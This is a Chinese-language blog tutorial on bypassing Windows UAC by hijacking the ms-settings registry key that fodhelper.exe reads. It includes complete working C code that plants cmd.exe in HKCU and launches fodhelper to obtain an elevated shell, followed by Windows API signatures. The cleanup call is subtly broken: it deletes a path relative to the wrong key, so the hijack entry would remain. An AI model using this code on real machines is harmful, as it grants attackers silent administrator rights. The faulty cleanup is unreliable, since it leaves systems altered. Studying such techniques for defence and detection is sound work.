注册表劫持BypassUAC

原理

一部分系统程序可以直接获取管理员权限而不触发UAC弹窗,这类程序被称为白名单程序。如fodhelper

fodhelper.exe在启动过程查询注册表项

1
HKCU:\Software\Classes\ms-settings\Shell\Open\command

该键值对存储可执行文件路径,普通用户对HKCU有编辑权限,可以写入想要执行的任意文件,如cmd.exe,写入后的文件会以最高权限执行

如果上一个键值对存在,继续查询

1
HKCU:\Software\Classes\ms-settings\shell\open\command\DelegateExecute

若也存在,则读取第一个注册内的值执行

当找不到HKCU\Software\Classes\ms-settings\Shell\Open\command的时候才会去找HKCR\ms-settings\Classes\ms-settings\Shell\Open\command

默认情况下而HKCR\ms-settings\Classes\ms-settings\Shell\Open\command存在,而HKCU\Software\Classes\ms-settings\不存在,因此需要手动创建。

imgbed.cn图床

代码

1.RegCreateKeyA创建HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command\

2.使用RegSetValueEx向创建的键值对里写入要执行的文件和DelegateExecute

3.CreateProcessA创建进程运行fodhelper.exe,以高权限运行向注册表中写入的文件

4.在一段时间后使用RegDeleteTreeA删除创建的键值对,恢复原状

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <windows.h>
#include <stdio.h>

int main(int argc, char* argv[]) {

HKEY hKey;
STARTUPINFOA StartupInfo = { 0 };
PROCESS_INFORMATION ProcessInformation = { 0 };

//创建注册表
RegCreateKeyA(HKEY_CURRENT_USER, "Software\\Classes\\ms-settings\\Shell\\open\\command", &hKey);
//写入要执行的文件
RegSetValueExA(hKey, "", 0, REG_SZ, (BYTE*)"cmd.exe", sizeof("cmd.exe"));
//写入DelegateExecute
RegSetValueExA(hKey, "DelegateExecute", 0, REG_SZ, (BYTE*)"", sizeof(""));

//创建进程,运行fodhelper以高权限执行写入的文件
CreateProcessA("C:\\Windows\\System32\\cmd.exe", (LPSTR)"/c C:\\Windows\\System32\\fodhelper.exe", NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, NULL, &StartupInfo, &ProcessInformation);

Sleep(3000);

//删除创建的ms-settings
RegDeleteTreeA(hKey, "Software\\Classes\\ms-settings");//删除
return 0;
}

执行前

imgbed.cn图床

执行后

imgbed.cn图床

相关API函数

RegCreateKeyA

创建键值对

1
2
3
4
5
LSTATUS RegCreateKeyA(
HKEY hKey,
LPCSTR lpSubKey,
PHKEY phkResult
);

RegSetValueEx

写入注册表键值

成功返回 ERROR_SUCCESS.

1
2
3
4
5
6
7
8
LSTATUS RegSetValueExA(
HKEY hKey,//指向一个已经被打开或创建的子键句柄
LPCSTR lpValueName,//指定要被查询或写入的键值的名称
DWORD Reserved,//保留,始终为0
DWORD dwType,//写入键值的类型
const BYTE *lpData,//写入键值的缓冲区
DWORD cbData//写入键值缓冲区的长度
);

RegDeleteTreeA

删除键值对

1
2
3
4
LSTATUS RegDeleteTreeA(
HKEY hKey,
LPCSTR lpSubKey
);

CreateProcessA

创建进程

1
2
3
4
5
6
7
8
9
10
11
12
BOOL CreateProcessA(
LPCSTR lpApplicationName,
LPSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCSTR lpCurrentDirectory,
LPSTARTUPINFOA lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);

本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!